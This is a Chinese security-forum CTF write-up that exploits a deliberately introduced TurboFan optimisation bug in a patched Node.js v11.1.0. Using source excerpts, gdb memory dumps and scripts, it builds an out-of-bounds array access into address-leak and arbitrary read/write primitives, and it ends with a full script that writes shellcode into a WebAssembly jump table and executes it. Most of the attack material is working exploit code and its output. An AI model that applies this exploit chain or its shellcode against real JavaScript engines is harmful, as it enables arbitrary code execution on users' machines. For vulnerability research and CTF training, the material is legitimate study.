本文为看雪论坛精华文章
看雪论坛作者ID:LarryS
1
环境搭建
wget https://nodejs.org/download/release/v11.1.0/node-v11.1.0.tar.gz --no-check-certificatetar -xf node-v11.1.0.tar.gz
git apply ~/attachments/addition-reducer.patchsudo apt install g++ python makesudo ./configure --debugsudo make -j4sudo make install PREFIX=/opt/node-debug/sudo cp -a -f out/Debug/node /opt/node-debug/node
2
问题代码分析
DuplicateAdditionReducer::DuplicateAdditionReducer(Editor* editor, Graph* graph,CommonOperatorBuilder* common): AdvancedReducer(editor),graph_(graph), common_(common) {}Reduction DuplicateAdditionReducer::Reduce(Node* node) {switch (node->opcode()) {case IrOpcode::kNumberAdd:return ReduceAddition(node);default:return NoChange();}}Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {DCHECK_EQ(node->op()->ControlInputCount(), 0);DCHECK_EQ(node->op()->EffectInputCount(), 0);DCHECK_EQ(node->op()->ValueInputCount(), 2);Node* left = NodeProperties::GetValueInput(node, 0);if (left->opcode() != node->opcode()) {return NoChange();}Node* right = NodeProperties::GetValueInput(node, 1);if (right->opcode() != IrOpcode::kNumberConstant) {return NoChange();}Node* parent_left = NodeProperties::GetValueInput(left, 0);Node* parent_right = NodeProperties::GetValueInput(left, 1);if (parent_right->opcode() != IrOpcode::kNumberConstant) {return NoChange();}double const1 = OpParameter<double>(right->op());double const2 = OpParameter<double>(parent_right->op());Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));NodeProperties::ReplaceValueInput(node, parent_left, 0);NodeProperties::ReplaceValueInput(node, new_const, 1);return Changed(node);}
3
漏洞分析
max_value = 1 * (1 + 0.1111...1111) * 2^52 // 小数点后有52个'1'd8> Math.pow(2, 53) - 19007199254740991
// max_value的二进制表示// 1 * 2^(1075-1023) * 1.1111...1111b = 11111...11111b(53-bit) = 90071992547409911 10000110011 1111111111111111111111111111111111111111111111111111// max_value + 1// 1 * 2^(1076-1023) * 1.0b = 2^53 = 90071992547409921 10000110100 0000000000000000000000000000000000000000000000000000// max_value + 2// 1 * 2^(1076-1023) * 1.0000...0001b = 10000...00010b(54-bit) = 2^53 + 2 = 90071992547409941 10000110100 0000000000000000000000000000000000000000000000000001
function opt_me() {let x = Number.MAX_SAFE_INTEGER + 1;let y = x + 1 + 1;let z = x + 2;return (y, z);}for (var i = 0; i < 0x1000000; ++i) {opt_me(i);}
function try1(x) {let bug_arr = [1.1, 2.2, 3.3, 4.4];let y = (x ? 9007199254740992 : 9007199254740989)y = y + 1 + 1;y = y - 9007199254740990;return bug_arr[y];}for (var i = 0; i < 0x1000000; ++i) {try1(false);}console.log(try1(true));
一个长度为4的数组,用于实现越界读;
变量y,会根据参数x取9007199254740992或者9007199254740989,其中9007199254740992是为了之后+1+1操作触发漏洞,9007199254740989这个值需要保证完成+1+1后不等于9007199254740992(当然加法之前相等也不行,否则TurboFan会将y优化成一个常数,try1的返回值是固定的,所有过程都优化掉了),且和9007199254740990的差为正数;
y+1+1操作用于触发漏洞,y的可能取值为9007199254740992或9007199254740991,经过TypedLoweringPhase的DuplicateAdditionReducer之后,可能取值变成了9007199254740994或者9007199254740991;
减法操作,得到索引值,可能取值为2或1,经过DuplicateAdditionReducer后,可能取值变成了4(超过了数组索引值范围)或1。
返回bug_arr[y],发生越界读。
root@test-vm:/home/test/ctf2018# node --allow-natives-syntax try1.js2.107088725459e-311
// simplified-lowering.ccvoid VisitNode(Node* node, Truncation truncation,SimplifiedLowering* lowering) {...case IrOpcode::kCheckBounds: {const CheckParameters& p = CheckParametersOf(node->op());Type index_type = TypeOf(node->InputAt(0));Type length_type = TypeOf(node->InputAt(1));if (index_type.Is(Type::Integral32OrMinusZero())) {// Map -0 to 0, and the values in the [-2^31,-1] range to the// [2^31,2^32-1] range, which will be considered out-of-bounds// as well, because the {length_type} is limited to Unsigned31.VisitBinop(node, UseInfo::TruncatingWord32(),MachineRepresentation::kWord32);if (lower() && lowering->poisoning_level_ ==PoisoningMitigationLevel::kDontPoison) {if (index_type.IsNone() || length_type.IsNone() ||(index_type.Min() >= 0.0 &&index_type.Max() < length_type.Min())) {// The bounds check is redundant if we already know that// the index is within the bounds of [0.0, length[.DeferReplacement(node, node->InputAt(0));}}} else {VisitBinop(node,UseInfo::CheckedSigned32AsWord32(kIdentifyZeros, p.feedback()),UseInfo::TruncatingWord32(), MachineRepresentation::kWord32);}return;}...}
function try1(x) {let bug_arr= [1.1, 2.2, 3.3, 4.4];let y = (x ? 9007199254740992 : 【normal_value】)y = y + 1 + 1;y = y - 【start_value】;return bug_arr[y];}for (var i = 0; i < 0x1000000; ++i) {try1(false);}console.log(try1(true));
-1 < normal_value - start_value + 2 < 4// 即start_value - 3 < normal_value < start_value + 2-1 < 9007199254740992 - start_value < 4normal_value != 9007199254740992normal_value + 2 != 9007199254740992
function try1(x) {let bug_arr= [1.1, 2.2, 3.3, 4.4];let y = (x ? 9007199254740992 : 9007199254740989)y = y + 1 + 1;y = y - 9007199254740989;console.log(y);return bug_arr[y];}for (var i = 0; i < 0x1000000; ++i) {try1(false);}console.log(try1(true));
root@test-vm:/home/test/ctf2018# node --allow-natives-syntax try1.js2.9570928586621e-310
x = Math.pow(2, 54)18014398509481984x + 2 + 218014398509481984x + 418014398509481988
x = Math.pow(2, 53)900719925474099210*(x +1 +1)9007199254740992010*(x +2)90071992547409940
4
利用OOB W/R的方法
JSArray0x00 : Pointer to Map0x08 : Pointer to Outline Properties0x10 : Pointer to Elements0x18 : LengthFixedArray, FixedDoubleArray0x00 : Pointer to Map0x08 : Length0x10 : Element 10x18 : Element 20x20 : ...
JSArrayBuffer0x00 : Pointer to Map0x08 : Pointer to Outline Properties0x10 : Pointer to Elements0x18 : Length0x20 : Pointer to Backing Store0x28 : ...
js脚本的修改
在适当位置添加%DebugPrint,输出感兴趣的对象的信息;
脚本最后添加一个无限循环语句
node —allow-natives-syntax 执行脚本
从%DebugPrint的输出中获得对象地址等信息,用于后续调试;
由于无限循环语句,进程挂起;
通过ps -a | grep node的方式找到该进程的PID;
使用gdb attach [pid]或者其他调试器附加到该进程,开始调试。
let ab = new ArrayBuffer(8);let fv = new Float64Array(ab);let dv = new BigUint64Array(ab);let f2i = (f) => {fv[0] = f;return dv[0];}function tohex(v) {return (v).toString(16).padStart(16, "0");}function output(idx, value, a) {console.log("Index is " + idx);console.log("Array length is " + a.length);console.log("Value is " + tohex(f2i(value)));}function try2(x) {let bug_arr = [1.1, 2.2, 3.3, 4.4, 5.5];oob_arr = [6.6, 7.7, 8.8];let y = (x ? 18014398509481984 : 18014398509481978)y = y + 2 + 2;y = y - 18014398509481982;let v = bug_arr[y];if (x) {output(y, v, bug_arr);%DebugPrint(bug_arr);%DebugPrint(oob_arr);}return v;}for (var i = 0; i < 0x1000000; ++i) {try1(false);}console.log(try1(true));while(1) {}
:/home/test/ctf2018# node --allow-natives-syntax try2.jsIndex is 6Array length is 5Value is 00000003000000000x3e7e89d3c159 <JSArray[5]>0x12b40ca86829 <JSArray[3]>6.365987373e-314
(gdb) x/20gx 0x3e7e89d3c159-10x3e7e89d3c158: 0x00000034b0f02931 0x00001cf6cec02d29 // bug_arr JSArray: pointer to map, pointer to outline properties0x3e7e89d3c168: 0x000012b40ca867c9 0x0000000500000000 // bug_arr JSArray: pointer to elements, length0x3e7e89d3c178: 0x00001cf6cec02539 0x000000005dc15cda0x3e7e89d3c188: 0x0000000900000000 0x7369207865646e490x3e7e89d3c198: 0x0000000000000020 0x00001cf6cec025390x3e7e89d3c1a8: 0x000000004c3556ba 0x00000010000000000x3e7e89d3c1b8: 0x656c207961727241 0x207369206874676e0x3e7e89d3c1c8: 0x00001cf6cec02539 0x00000000a41e9f2a0x3e7e89d3c1d8: 0x0000000900000000 0x73692065756c61560x3e7e89d3c1e8: 0x0000000000000020 0x00001cf6cec02a49
(gdb) x/20gx 0x000012b40ca867c9-10x12b40ca867c8: 0x00001cf6cec03539 0x0000000500000000 // bug_arr FixedDoubleArray: pointer to Map, length0x12b40ca867d8: 0x3ff199999999999a 0x400199999999999a // bug_arr FixedDoubleArray: element1 1.1, element2 2.20x12b40ca867e8: 0x400a666666666666 0x401199999999999a // bug_arr FixedDoubleArray: element3 3.3, element4 4.40x12b40ca867f8: 0x4016000000000000 0x00001cf6cec03539 // bug_arr FixedDoubleArray: element5 5.5 arr2: pointer to Map0x12b40ca86808: 0x0000000300000000 0x401a666666666666 // oob_arr FixedDoubleArray: length【越界读】, element1 6.60x12b40ca86818: 0x401ecccccccccccd 0x402199999999999a // oob_arr FixedDoubleArray: element2 7.7, element3 8.80x12b40ca86828: 0x00000034b0f02931 0x00001cf6cec02d29 // oob_arr JSArray: pointer to map, pointer to outline properties0x12b40ca86838: 0x000012b40ca86801 0x0000000300000000 // oob_arr JSArray: pointer to elements, length0x12b40ca86848: 0x00001cf6cec02641 0x00000003000000000x12b40ca86858: 0x00001cf6cec02641 0x0000000300000000
function try2(x) {let bug_arr = [1.1, 1.1, 1.1, 1.1, 1.1];oob_arr = [2.2, 2.2];let y = (x ? 18014398509481984 : 18014398509481978)y = y + 2 + 2;y = y - 18014398509481982; // 这里偏移是6 或 2y = y * 2; // *2 偏移是12 或 4let v = bug_arr[y];bug_arr[y] = i2f(0x0000006400000000);if (x) {output(y, v, bug_arr);%DebugPrint(bug_arr);%DebugPrint(oob_arr);}return v;}
Index is 12Array length is 5Value is 00000002000000000x3ee7696bcab1 <JSArray[5]>0x096c273bee59 <JSArray[100]>4.243991582e-314
let OOB_LENGTH_64 = 0x0000006400000000;let MARKER1 = 0x11;let MARKER1_64 = 0x0000001100000000;function try2(x) {let bug_arr = [1.1, 1.1, 1.1, 1.1, 1.1];oob_arr = [2.2, 2.2];obj_arr = [MARKER1, Math]; // 假设想要得到地址的对象是Math// overwrite the length of oob_arrlet y = (x ? 18014398509481984 : 18014398509481978)y = y + 2 + 2;y = y - 18014398509481982;y = y * 2;let v = bug_arr[y];bug_arr[y] = i2f(OOB_LENGTH_64);if (x) {let addr_idx = oob_arr.indexOf(i2f(MARKER1_64)) + 1;let obj_addr = f2i(oob_arr[addr_idx]) - 1n;console.log(tohex(obj_addr));%DebugPrint(obj_arr);}return v;}
test@test-vm:~/ctf2018$ node --allow-natives-syntax try2.js0000356298e93df00x3d07774cffe1 <JSArray[2]>4.243991582e-314
(gdb) x/4gx 0x3d07774cffe00x3d07774cffe0: 0x00000fddef0029d1 0x0000278ca0902d290x3d07774cfff0: 0x00003d07774cffc1 0x0000000200000000(gdb) x/4gx 0x00003d07774cffc00x3d07774cffc0: 0x0000278ca09028b9 0x00000002000000000x3d07774cffd0: 0x0000001100000000 0x0000356298e93df1
let AB_LENGTH = 0x100;let AB_LENGTH_64 = 0x0000010000000000;let OOB_LENGTH_64 = 0x0000006400000000;let MARKER1 = 0x11;let MARKER1_64 = 0x0000001100000000;function try2(x) {let bug_arr = [1.1, 1.1, 1.1, 1.1, 1.1];oob_arr = [2.2, 2.2];obj_arr = [MARKER1, Math];buf_arr = new ArrayBuffer(AB_LENGTH);// overwrite the length of oob_arrlet y = (x ? 18014398509481984 : 18014398509481978)y = y + 2 + 2;y = y - 18014398509481982;y = y * 2;let v = bug_arr[y];bug_arr[y] = i2f(OOB_LENGTH_64);if (x) {let addr_idx = oob_arr.indexOf(i2f(MARKER1_64)) + 1;let bp_idx = oob_arr.indexOf(i2f(AB_LENGTH_64)) + 1;let obj_addr = oob_arr[addr_idx];oob_arr[bp_idx] = obj_addr; // 修改backing pointer,设置想要读/写的地址// 以uint64的格式读/写地址let view = new BigUint64Array(buf_arr);// 写入的地址是obj_addr,首位应该是map,这里对其进行篡改view[0] = 0x4141414141414141n;%DebugPrint(obj_arr);%DebugPrint(obj_arr[1]);}return v;}
test@test-vm:~/ctf2018$ node --allow-natives-syntax try2.js0x1f1c989d0669 <JSArray[2]>0x18d4029d06e9 Segmentation fault (core dumped)
(gdb) x/4gx 0x1f1c989d06680x1f1c989d0668: 0x000012eb4c5829d1 0x00001fc855802d290x1f1c989d0678: 0x00001f1c989d0649 0x0000000200000000(gdb) x/4gx 0x00001f1c989d06480x1f1c989d0648: 0x00001fc8558028b9 0x00000002000000000x1f1c989d0658: 0x0000001100000000 0x000007bfc3593df1(gdb) x/4gx 0x000007bfc3593df10x7bfc3593df1: 0x4141414141414141 0x29000007bfc359490x7bfc3593e01: 0x6900001fc855802d 0x164005bf0a8b1457
// 这里保存二进制代码var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);// 下面进行加载var wasm_mod = new WebAssembly.Module(wasm_code);var wasm_instance = new WebAssembly.Instance(wasm_mod);var f = wasm_instance.exports.main;
- JSFunction ->- SharedFunctionInfo pointer ->- (WasmExportedFunctionData)function data pointer ->- WasmInstanceObject pointer ->- jump table start address- function index
// node/v8/src/objects.h// Object::kHeaderSize = 0static const int kHeaderSize = 0;// HeapObject::kHeaderSize = 8static const int kMapOffset = Object::kHeaderSize;static const int kHeaderSize = kMapOffset + kPointerSize;// JSReceiver::kHeaderSize = 16static const int kHeaderSize = HeapObject::kHeaderSize + kPointerSize;// JSObject::kHeaderSize = 24static const int kElementsOffset = JSReceiver::kHeaderSize;static const int kHeaderSize = kElementsOffset + kPointerSize;
// node/v8/src/objects.h/* Pointer fields. */ \V(kSharedFunctionInfoOffset, kPointerSize) \V(kContextOffset, kPointerSize) \...DEFINE_FIELD_OFFSET_CONSTANTS(JSObject::kHeaderSize, JS_FUNCTION_FIELDS)
// /node/v8/src/objects/shared-function-info.h/* Pointer fields. */ \V(kStartOfPointerFieldsOffset, 0) \V(kFunctionDataOffset, kPointerSize) \...DEFINE_FIELD_OFFSET_CONSTANTS(HeapObject::kHeaderSize,SHARED_FUNCTION_INFO_FIELDS)
// /node/v8/src/wasm/wasm-objects.hV(kWrapperCodeOffset, kPointerSize) \V(kInstanceOffset, kPointerSize) \V(kJumpTableOffsetOffset, kPointerSize) /* Smi */ \V(kFunctionIndexOffset, kPointerSize) /* Smi */ \V(kSize, 0)DEFINE_FIELD_OFFSET_CONSTANTS(HeapObject::kHeaderSize,WASM_EXPORTED_FUNCTION_DATA_FIELDS)
// /node/v8/src/wasm/wasm-objects.h... // 省略了15行V(kFirstUntaggedOffset, 0) /* marker */ \V(kMemoryStartOffset, kPointerSize) /* untagged */ \V(kMemorySizeOffset, kSizetSize) /* untagged */ \V(kMemoryMaskOffset, kSizetSize) /* untagged */ \... // 省略了8行V(kJumpTableStartOffset, kPointerSize) /* untagged */ \V(kIndirectFunctionTableSizeOffset, kUInt32Size) /* untagged */ \V(k64BitArchPaddingOffset, kPointerSize - kUInt32Size) /* padding */ \V(kSize, 0)DEFINE_FIELD_OFFSET_CONSTANTS(JSObject::kHeaderSize,WASM_INSTANCE_OBJECT_FIELDS)// /node/v8/src/globals.hconstexpr int kSizetSize = sizeof(size_t);
kSharedFunctionInfoOffset: 3kFunctionDataOffset: 1kInstanceOffset: 2kJumpTableStartOffset: 29
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasm_mod = new WebAssembly.Module(wasm_code);var wasm_instance = new WebAssembly.Instance(wasm_mod);var f = wasm_instance.exports.main;%DebugPrint(f);while(1) {}
test@test-vm:~/ctf2018$ node_debug --allow-natives-syntax wasm_test.jsDebugPrint: 0x15e5d1c8141: [Function] in OldSpace- map: 0x27335a1062b1 <Map(HOLEY_ELEMENTS)> [FastProperties]- prototype: 0x392436f04669 <JSFunction (sfi = 0x205dbb084df1)>- elements: 0x22c411e02d29 <FixedArray[0]> [HOLEY_ELEMENTS]- function prototype: <no-prototype-slot>- shared_info: 0x015e5d1c8109 <SharedFunctionInfo 0>- name: 0x22c411e08691 <String[1]: 0>- formal_parameter_count: 0- kind: NormalFunction- context: 0x392436f03da1 <NativeContext[252]>- code: 0x2ce1fe39bce1 <Code JS_TO_WASM_FUNCTION>- WASM instance 0x15e5d1c7f69- WASM function index 0...
(gdb) x/4gx 0x15e5d1c8140 // JS_FUNCTION0x15e5d1c8140: 0x000027335a1062b1 0x000022c411e02d290x15e5d1c8150: 0x000022c411e02d29 0x0000015e5d1c8109(gdb) x/2gx 0x0000015e5d1c8108 // SharedFunctionInfo0x15e5d1c8108: 0x000022c411e02a99 0x0000015e5d1c80e1(gdb) x/3gx 0x0000015e5d1c80e0 // FunctionData0x15e5d1c80e0: 0x000022c411e09479 0x00002ce1fe39bce10x15e5d1c80f0: 0x0000015e5d1c7f69(gdb) x/30gx 0x0000015e5d1c7f68 // Instance0x15e5d1c7f68: 0x000027335a108421 0x000022c411e02d290x15e5d1c7f78: 0x000022c411e02d29 0x00002dd2cf94e1890x15e5d1c7f88: 0x00002dd2cf94e371 0x0000392436f03da10x15e5d1c7f98: 0x0000015e5d1c8061 0x000022c411e025b10x15e5d1c7fa8: 0x000022c411e025b1 0x000022c411e025b10x15e5d1c7fb8: 0x000022c411e025b1 0x000022c411e02d290x15e5d1c7fc8: 0x000022c411e02d29 0x000022c411e025b10x15e5d1c7fd8: 0x00002dd2cf94e301 0x000022c411e025b10x15e5d1c7fe8: 0x000022c411e022a1 0x00002ce1fe068ae10x15e5d1c7ff8: 0x00007f8e90000000 0x00000000000100000x15e5d1c8008: 0x000000000000ffff 0x000055f2affd67f80x15e5d1c8018: 0x000055f2affdd938 0x000055f2affdd9280x15e5d1c8028: 0x000055f2b007f6c0 0x00000000000000000x15e5d1c8038: 0x000055f2b007f6e0 0x00000000000000000x15e5d1c8048: 0x0000000000000000 0x00001b3e42795000(gdb) x/1gx 0x00001b3e42795000 // JumpTableStart0x1b3e42795000: 0x1b3e427954a0ba49
let AB_LENGTH = 0x100;let AB_LENGTH_64 = 0x0000010000000000;let OOB_LENGTH_64 = 0x0000006400000000;let MARKER1 = 0x11;let MARKER1_64 = 0x0000001100000000;function try2(x) {let bug_arr = [1.1, 1.1, 1.1, 1.1, 1.1];oob_arr = [2.2, 2.2];obj_arr = [MARKER1, Math];buf_arr = new ArrayBuffer(AB_LENGTH);// overwrite the length of oob_arrlet y = (x ? 18014398509481984 : 18014398509481978)y = y + 2 + 2;y = y - 18014398509481982;y = y * 2;let v = bug_arr[y];bug_arr[y] = i2f(OOB_LENGTH_64);if (x) {let addr_idx = oob_arr.indexOf(i2f(MARKER1_64)) + 1;let bp_idx = oob_arr.indexOf(i2f(AB_LENGTH_64)) + 1;var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasm_mod = new WebAssembly.Module(wasm_code);var wasm_instance = new WebAssembly.Instance(wasm_mod);var f = wasm_instance.exports.main;// get address of wasm_instanceobj_arr[1] = wasm_instance;let wasm_instance_addr = f2i(oob_arr[addr_idx]) - 1n;// add offset 29 * 8 = E8let jump_table_ptr = wasm_instance_addr + 0xE8n;// read the number at jump_table_ptr// which is jump table start addressoob_arr[bp_idx] = i2f(jump_table_ptr); // change backing pointerlet view = new BigUint64Array(buf_arr); // read backing store in uint64 formatlet jump_table_addr = view[0];console.log(tohex(jump_table_addr));}return v;}
test@test-vm:~/ctf2018$ node --allow-natives-syntax try2.js00003e9245ae80004.243991582e-314
let shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];let ab = new ArrayBuffer(8);let fv = new Float64Array(ab);let dv = new BigUint64Array(ab);function f2i(f) {fv[0] = f;return dv[0];}function i2f(i) {dv[0] = BigInt(i);return fv[0];}let AB_LENGTH = 0x100;let AB_LENGTH_64 = 0x0000010000000000;let OOB_LENGTH_64 = 0x0000006400000000;let MARKER1 = 0x11;let MARKER1_64 = 0x0000001100000000;function pwn(x) {let bug_arr = [1.1, 1.1, 1.1, 1.1, 1.1];oob_arr = [2.2, 2.2];obj_arr = [MARKER1, Math];buf_arr = new ArrayBuffer(AB_LENGTH);// overwrite the length of oob_arrlet y = (x ? 18014398509481984 : 18014398509481978)y = y + 2 + 2;y = y - 18014398509481982;y = y * 2;let v = bug_arr[y];bug_arr[y] = i2f(OOB_LENGTH_64);if (x) {let addr_idx = oob_arr.indexOf(i2f(MARKER1_64)) + 1;let bp_idx = oob_arr.indexOf(i2f(AB_LENGTH_64)) + 1;var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasm_mod = new WebAssembly.Module(wasm_code);var wasm_instance = new WebAssembly.Instance(wasm_mod);var f = wasm_instance.exports.main;// get address of wasm_instanceobj_arr[1] = wasm_instance;let wasm_instance_addr = f2i(oob_arr[addr_idx]) - 1n;// add offset 29 * 8 = E8let jump_table_ptr = wasm_instance_addr + 0xE8n;// read the number at jump_table_ptr// which is jump table start addressoob_arr[bp_idx] = i2f(jump_table_ptr); // change backing pointerlet view = new BigUint64Array(buf_arr); // read backing store in uint64 formatlet jump_table_addr = view[0];// write in shellcode at jump tableoob_arr[bp_idx] = i2f(jump_table_addr); // change backing pointerview = new Uint32Array(buf_arr); // write backing store in uint32 formatfor (let i = 0; i < shellcode.length; ++i) {view[i] = shellcode[i];}f(); // 调用函数,执行shellcode}return v;}for (var i = 0; i < 0x10; ++i) {pwn(false);}%OptimizeFunctionOnNextCall(pwn);console.log(pwn(true));
// get address of wasm_instanceobj_arr[1] = wasm_instance;let wasm_instance_addr = f2i(oob_arr[addr_idx]) - 1n;
// read the number at jump_table_ptr// which is jump table start addressoob_arr[bp_idx] = i2f(jump_table_ptr); // change backing pointerlet view = new BigUint64Array(buf_arr); // read backing store in uint64 formatlet jump_table_addr = view[0];
5
总结
6
参考资料
https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
看雪ID:LarryS
https://bbs.pediy.com/user-home-600394.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!